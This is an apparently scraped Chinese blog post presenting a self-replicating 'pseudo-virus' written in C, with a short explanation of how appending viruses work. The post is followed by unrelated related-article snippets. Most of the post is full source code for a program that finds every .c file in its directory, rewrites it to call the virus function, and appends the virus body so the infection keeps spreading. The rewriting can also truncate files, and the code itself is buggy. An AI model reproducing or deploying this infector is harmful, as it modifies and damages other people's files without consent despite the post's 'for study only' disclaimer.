<script type="text/javascript"> </script><script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>

首先声明:
本程序是我举的一个例子
为了叫大家理解就可以了
如果大家拿去捉弄人,我不负任何责任!
希望大家要以学习为重!
对于病毒我们应该是深恶痛绝的,但是作为纯研究许多人还是很有兴趣的
我曾经用汇编做过一些具有毁灭性的病毒,本想献出来与大家分享
不过考虑到一些小人看了会做出来一些危害别人的行为,所以我决定
用这个简单的并毫无伤害性的c语言伪病毒来说明一下问题,
再次声明这一切全是为了编程研究!!!
病毒的特点:
  病毒的最大特点就是自我复制,从病毒的分类来说有很多种,这里我们将介绍最流行的附加式
病毒,它通过对正常的文件进行改写,增加来实现其自我复制的目的。
从程序的角度来说,我们要做的事情有两件:
  1,让程序能够将自己在不影响其它程序本身工作的情况下复制给其它程序,
使它具备继续复制的能力。
  2,在一定条件下使其产生某种发作效果。
其实第一件事情实际上可以看成对文件进行复制,把病毒源文件的功能函数全部放到被感染
文件的最后,同时在被感染文件中调用这个函数
下面给出c语言的实现过程:
1,主程序调用病毒功能函数
2,病毒功能函数读取查找同目录下所有c文件;
3,找到一个(被感染c文件),打开它,并且将此文件全部读取到数组变量;
4,重新创建一个同名文件(被感染c文件)
5,数组变量写回这个被感染c文件,同时将病毒源文件所需要的头文件,病毒功能函数
调用语句写入;
6,打开病毒源文件,将病毒功能函数全部写到被感染c文件的最后;
  这样一个简单的c语言伪病毒virus.c就完成了 
  运行程序后其内容变化另保存为after_virus.c
  此时,如果我们将1.c文件用A盘复制到其他机器或者Email给别人,结果
他们一运行又感染了他们保存1.c文件目录下所有c文件
  对于第二件事情-------“发作效果”,这里只用printf语句警告了一下,当然你
完全可以写一个TSR驻留函数
  其实,这个程序勉强可以叫做病毒
根本不算是真正的病毒,好了就说这么多,
代码如下:
#include <stdio.h>
#include <dir.h>
void main(void)
{
virus();
}
int virus()
{
struct ffblk ffblk;
FILE *in,*out,*read;
char *virus="virus.c";
char buf[50][80];
char *p;
char *end="return";
char *bracket="}";
char *main="main";
char *include[2]={"stdio.h","dir.h"};
char *int_virus="int virus()";
char *buffer;
int done,i,j=0,flag=0;
printf("/nI have a virus. Writen by PuBin/n");
done = findfirst("*.c",&ffblk,0);
while (!done)
{
 i=0;
 if ((in = fopen(ffblk.ff_name, "rt"))== NULL)
 {
 goto next;
 }
 do{
    if(i>=50)
    {
fclose(in);
goto next;
    }
    p=fgets(buf[i],80,in);
    i++;
   }while(p!=NULL);
   fclose(in);
   out=fopen(ffblk.ff_name,"w+t");
   fputs("#include<stdio.h>/n",out);
   fputs("#include<dir.h>/n",out);
 do
 {
  if(strstr(buf[j],main)!=NULL)
  {
   for(;j<i-1;j++)
   if(strstr(buf[j],end)==NULL&&strstr(buf[j],bracket)==NULL)
   fputs(buf[j],out);
   else
   {
    if(flag==0)
    {
flag=1;
fputs("virus();/n",out);
    }
    fputs(buf[j],out);
   }
 }
 else if((strstr(buf[j],include[0])==NULL)
 &&(strstr(buf[j],include[1])==NULL))
 {
fputs(buf[j],out);
j++;
 }
 else
 j++;
 }while(j<i-1);
 read=fopen(virus,"rt");
do
{
 p=fgets(buffer,80,read);
 if(strstr(buffer,int_virus))
 while(p!=NULL)
 {
  if(strstr(buffer,virus)==NULL)
  fputs(buffer,out);
  else
  {
                fputs(" char *virus=/"",out);
fputs(ffblk.ff_name,out);
        fputs("/";/n",out);
 }
 p=fgets(buffer,80,read);
}
}while(p!=NULL);

fclose(read);
fclose(out);
      printf("/nYour c program  %s has a virus. Writen by PuBin/n",ffblk.ff_name);
next: done = findnext(&ffblk);
}
return 0;
}

<script type="text/javascript"> </script> <script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"> </script>

C语言写的简单病毒程序相关推荐

  1. php编写服务器端脚本程序,PHP脚本语言写的简单服务器程序

    $username = $_POST["username"];/*客户端请求方式为POST,请求参数封装成nsdata类型放在HTTPBody中传给服务器,服务器用PHP脚本语言接 ...

  2. c语言写的简单小程序,一些简单的小程序_6——C语言篇

    1.写一个函数实现任意行列数的乘法表 #define _CRT_SECURE_NO_WARNINGS #include void mul(int n) { int i = 0; int j = 0; ...

  3. 3.1 使用ZIO测试,写一些简单的程序

    3.1 使用ZIO测试,写一些简单的程序 解决方案是ZIO Test,它是一个将effect视为第一类值并利用ZIO的全部功能的测试库. 要开始使用ZIO测试,请首先将其添加为依赖项. library ...

  4. c语言写一个简单的小游戏-推箱子

    在学习C语言之后,写了一个简单的小游戏来锻炼自己的代码以及C语言知识的掌握能力. 推箱子作为手机上最常见的简单游戏,其代码也相对简单,想法也比较简单,下面为其代码和运行图. /************ ...

  5. 一个简单的c 游戏编程语言,编程达人 c语言写一个简单的小游戏-推箱子

    在学习C语言之后,写了一个简单的小游戏来锻炼自己的代码以及C语言知识的掌握能力. 推箱子作为手机上最常见的简单游戏,其代码也相对简单,想法也比较简单,下面为其代码和运行图. /************ ...

  6. 编写C语言的最简单小程序Hello world和函数使用

    编写C语言的最简单小程序Hello world 一.示例一 1.编写demo.c程序 #include<stdio.h> int main() {printf("Hello wo ...

  7. 如何用C语言写一段关机程序,恶搞代码,很简单的呦

    如何用C语言去写一段关机程序? 有的初学者觉得C语言编程太枯燥了,想要写个程序来太难了,甚至有的人在学习了C之后就觉得C语言只能去写一些黑白框里的简单程序,其实不是的,C语言是一种面向过程的开发语言, ...

  8. libvirt 用c语言编译,基于C语言libvirt API简单小程序

    libvirt API简单小程序 1.程序代码如下 #include #include int getDomainInfo(int id) { virConnectPtr conn = NULL; v ...

  9. 用c语言写一个唐诗的程序,文言文编程95后又出新作,在287051行古诗中找出了“唐诗幻方”!...

    还记得那位用文言文编程的中国小伙吗? 图 | 文言文编程(来源:受访者) 2019 年 ,22 岁的上海小伙黄令东用文言文编程,当时他还在读大四,凭借该项目小伙子瞬间"原地出道". ...

最新文章

  1. 《复联4》的这波操作,其实是在灭 bug
  2. 计算机基础知识应用文档,计算机基础知识与应用
  3. linux下shell编程print与printf的区别
  4. CENTOS7配置静态IP后无法ping通外部网络的问题
  5. 深入理解synchronized关键字
  6. python单元测试unittest
  7. linux内核参数调优,缓冲区调整,tcp/udp连接管理,保持,释放优化,gossary,terms
  8. 一些关于直播间人货场的打造干货,直播电商新手必须要了解人货场的概念
  9. s7300plc串口通信_s7-300串口通讯.ppt
  10. HTML5网页设计基础——表单样式
  11. 《Unix编程艺术》chm 电子书下载
  12. 【计算机毕业设计】题库管理系统的设计与实现
  13. Android 静默安装的几种方式
  14. ai怎么做盒子效果图_ai怎么制作包装盒? Ai贴图工具制作包装盒的实例教程
  15. Bzoj 3654 图样图森波 题解
  16. WLC开机卡在launching....(变砖)
  17. 解决Echarts使用tab切换时只显示第一个tab中图表,其他tab中图表不显示或显示不全问题
  18. 多项选择题标准化考试系统设计
  19. 杭州电子科技大学acm--2000
  20. 安超云生态|安超云与PingCAP完成兼容互认证 携手打造协同生态

热门文章

  1. 汇编语言clr c什么意思,汇编程序中C(1):errorC129:missing';'before Bit是什么意思,加了分号也不对,怎么回事啊...
  2. VLC媒体播放器Web插件详细说明
  3. XBee zigbee 使用指南---XBee API模式示例
  4. 关于使用正则表达式进行文本替换
  5. 架构设计---技术栈01
  6. 【Java基础】【案例】
  7. python基础学习(三)之线性数据结构
  8. List和Map集合遍历的3种方式
  9. 苹果闪存性能测试软件,iPhone 12 Pro性能测试,再次秒杀所有!
  10. 2023复旦大学计算机考研经验分享